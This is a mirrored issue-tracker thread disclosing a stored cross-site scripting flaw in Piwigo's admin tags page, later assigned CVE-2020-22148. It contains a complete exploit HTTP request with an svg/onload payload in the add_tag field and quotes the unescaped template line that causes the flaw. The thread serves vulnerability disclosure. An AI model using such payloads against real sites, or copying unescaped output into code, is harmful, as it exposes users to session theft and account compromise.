adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Stored Cross Site Scripting in /admin.php?page=tags #1005

New Issue
Open
opened 2026-10-05 00:28:06 +02:00 by adam · 4 comments
adam commented 2026-10-05 00:28:06 +02:00
Owner
Copy link
Copy source

Hi team,

I just found a stored XSS in admin.php?page=tags.

Exploit Request :

POST /piwigo/piwigo/admin.php?page=tags HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=tags
Cookie: pwg_id=kikufgh78rp553s266q6r0sj62
Upgrade-Insecure-Requests: 1

pwg_token=c8dea9237930ccb48c6d1a4e5020b32b&add_tag=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&add=Submit

PoC:

Hi team, I just found a stored XSS in `admin.php?page=tags`. Exploit Request : ``` POST /piwigo/piwigo/admin.php?page=tags HTTP/1.1 Host: 192.168.10.138 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded Content-Length: 109 Origin: http://192.168.10.138 Connection: close Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=tags Cookie: pwg_id=kikufgh78rp553s266q6r0sj62 Upgrade-Insecure-Requests: 1 pwg_token=c8dea9237930ccb48c6d1a4e5020b32b&add_tag=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&add=Submit ``` PoC: ![](https://i.imgur.com/cEyHOyq.png) <!-- github-sync-id:563700554 -->
adam commented 2026-10-05 00:28:07 +02:00
Author
Owner
Copy link
Copy source

This causes by \admin\themes\default\template\tags.tpl

<label class="font-checkbox no-bold">
          <span class="icon-check" style="display:none"></span>
          <input type="checkbox" name="tags[]" value="{$tag.id}">
          {$tag.name}
        </label>
This causes by `\admin\themes\default\template\tags.tpl` ``` <label class="font-checkbox no-bold"> <span class="icon-check" style="display:none"></span> <input type="checkbox" name="tags[]" value="{$tag.id}"> {$tag.name} </label> ``` <!-- github-comment-id:584991995 -->
adam commented 2026-10-05 00:28:08 +02:00
Author
Owner
Copy link
Copy source

@plegall check this !

@plegall check this ! <!-- github-comment-id:584994542 -->
adam commented 2026-10-05 00:28:09 +02:00
Author
Owner
Copy link
Copy source

In this case, it's considered as a bug: an admin has the right to use HTML in a tag name.

In this case, it's considered as a bug: an admin has the right to use HTML in a tag name. <!-- github-comment-id:603845116 -->
adam commented 2026-10-05 00:28:10 +02:00
Author
Owner
Copy link
Copy source

https://nvd.nist.gov/vuln/detail/CVE-2020-22148 has been assigned for this issue.

https://nvd.nist.gov/vuln/detail/CVE-2020-22148 has been assigned for this issue. <!-- github-comment-id:987834690 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1005